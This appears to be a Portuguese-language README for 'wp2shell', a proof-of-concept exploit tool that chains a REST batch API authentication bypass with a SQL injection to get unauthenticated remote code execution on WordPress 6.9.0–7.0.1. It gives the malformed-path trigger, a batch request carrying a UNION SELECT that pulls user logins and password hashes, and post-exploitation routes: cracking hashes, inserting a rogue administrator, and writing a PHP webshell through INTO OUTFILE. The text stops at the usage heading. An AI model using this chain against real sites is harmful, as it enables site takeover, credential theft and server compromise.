wp2shell

PoC de RCE Pré-Autenticação - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1

Apenas para testes de penetração autorizados e pesquisa de segurança. Executar isto contra sistemas sem autorização por escrito é ilegal. Os autores não aceitam qualquer responsabilidade pelo uso indevido.

---

Visão Geral

wp2shell é um exploit de prova de conceito que encadeia duas vulnerabilidades reportadas independentemente para alcançar execução remota de código não autenticada em instalações do WordPress não corrigidas.

CVE	Componente	Classe	Autenticação Necessária
CVE-2026-63030	REST Batch API (WP_REST_Server)	Dessincronização de array → bypass de autenticação	Nenhuma
CVE-2026-60137	WP_Query	Injeção SQL via author__not_in	Nenhuma (contornada pela anterior)

O resultado final: um shell na máquina, uma conta de administrador maliciosa, ou um hash de credencial extraído — tudo a partir de um único pedido POST não autenticado.

Versões afetadas: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 Corrigido em: WordPress 6.9.5 / 7.0.2 (patch lançado juntamente com a divulgação coordenada)

---

Análise da Vulnerabilidade

CVE-2026-63030 — Dessincronização de Array da REST Batch API (Bypass de Autenticação)

Contexto

O WordPress 5.6 introduziu o endpoint de processamento em lote em /wp-json/batch/v1. Permite que clientes REST autenticados agrupem múltiplos sub-pedidos num único round-trip HTTP. Cada sub-pedido é validado e despachado independentemente por WP_REST_Server::serve_batch_request_v1().

O Caminho de Código Vulnerável

Dentro de serve_batch_request_v1() (simplificado):

$requests  = $data['requests'];
$responses = [];
$matches   = [];

// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
    $parsed = wp_parse_url($request['path']);

    if (is_wp_error($parsed) || $parsed === false) {
        // Failure: append WP_Error to $responses — but NOT to $matches
        $responses[] = $this->envelope_response(new WP_Error(...), false);
        continue;         // <─── skips the push to $matches
    }

    // Success: resolve auth/permissions for this path
    $match     = $this->match_route($parsed['path'], $request['method']);
    $matches[] = $match;           // <─── stored at array-sequential index
    $responses[] = null;           // <─── placeholder at same index
}

// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
    // $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
    $responses[$j] = $this->dispatch($match);   // <─── dispatches with wrong context
}

Porque É Que Quebra

Os dois arrays ($responses e $matches) devem manter-se sincronizados — uma entrada por sub-pedido, no mesmo índice. Quando o sub-pedido [0] falha em wp_parse_url(), adiciona uma entrada a $responses mas não a $matches. Após o primeiro loop:

$responses = [ WP_Error,   null       ]   ← index 0 = error, index 1 = placeholder
$matches   = [ match_for_req1          ]   ← index 0 = match for request[1]

O Loop 2 despacha então $matches[0] e escreve o resultado em $responses[0]. Está a despachar o pedido[1] mas a sobrescrever o índice 0 nas respostas — e, criticamente, usa o contexto de permissão que foi calculado como parte do tratamento de erro do pedido[0] falhado, não o contexto de permissão para o endpoint alvo.

O efeito prático: qualquer endpoint que exija autenticação (incluindo endpoints que executam consultas SQL) pode ser chamado sem credenciais.

O Gatilho

"path": "://\x00"   # triggers wp_parse_url() → false

A string ://\x00 é uma string Python válida mas um URL inválido no wrapper wp_parse_url() do PHP (o byte nulo faz com que o parse falhe, retornando false em vez de um WP_Error, o que torna a verificação is_wp_error() inútil — apenas $parsed === false o captura, e o alinhamento do array já está quebrado nesse ponto).

---

CVE-2026-60137 — Injeção SQL em author__not_in do WP_Query

Contexto

A REST API do WordPress para posts (/wp/v2/posts) expõe um parâmetro de consulta author_exclude que mapeia diretamente para o argumento author__not_in do WP_Query. O WP_Query é a abstração de base de dados central usada para quase todas as consultas de conteúdo no WordPress.

O Caminho de Código Vulnerável

Em WP_Query::parse_query() (simplificado):

$author__not_in = $this->get('author__not_in');

if (is_array($author__not_in)) {
    $author__not_in = array_map('absint', $author__not_in);
    // absint() converts every element to a safe non-negative integer
}

// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:

Mais adiante em WP_Query::get_posts():

if (!empty($author__not_in)) {
    $where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
    //                                                   ^^^^^^^^^^^^^^^^
    //                               raw string dropped into SQL with no escaping
}

Porque É Que Quebra

A sanitização só é acionada quando $author__not_in é um array. O sistema de tipos do PHP determina isto com base em como o valor chegou:

• Corpo JSON com array → PHP recebe [1, 2, 3] → is_array() = true → sanitizado
• Query string do URL → PHP recebe "1,2,3" (uma string) → is_array() = false → não sanitizado

O endpoint REST aceita author_exclude a partir da query string do URL. Chega como uma string. O WP_Query ignora o bloco de sanitização, e o valor bruto é interpolado na cláusula WHERE do SQL.

Exploração

O ponto de injeção cai dentro de um contexto NOT IN (...):

-- Normal query:
WHERE post_author NOT IN (1)

-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)

Como o endpoint de lote despacha o sub-pedido como parte de um resultado de consulta maior, as linhas do UNION são retornadas no corpo da resposta JSON do REST, tornando isto uma extração Boolean/UNION sem blind — sem timing, sem out-of-band necessário.

---

Cadeia de Exploração

Attacker (no credentials)
        │
        ▼
POST /wp-json/batch/v1
{
  "requests": [
    { "path": "://\x00", "method": "GET" },      ← [1] malformed URL: triggers desync
    { "path": "/wp/v2/posts?author_exclude=     
       0 UNION SELECT ... FROM wp_users-- -",    ← [2] SQLi payload
      "method": "GET" }
  ]
}
        │
        ▼
WP_REST_Server::serve_batch_request_v1()
  ├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
  │  NO push to $matches
  ├─ Request[1] matches route → $matches[0] = route
  └─ Loop 2 dispatches $matches[0] with wrong auth context
        │
        ▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
  ├─ is_array() = false → sanitization skipped
  └─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
        │
        ▼
MySQL executes UNION query → wp_users data in SELECT result
        │
        ▼
REST JSON response contains user_login + user_pass in post fields
        │
        ▼
┌─────────────────────────────────────────────────────────────┐
│  Post-exploitation (any of):                                │
│  • Dump admin hash → crack offline with hashcat             │
│  • INSERT rogue admin via stacked queries                   │
│  • SELECT ... INTO OUTFILE → PHP webshell → OS access       │
└─────────────────────────────────────────────────────────────┘

---

Requisitos

Python >= 3.8
requests
cloudscraper

Instalar dependências:

pip install requests cloudscraper

---

Utilização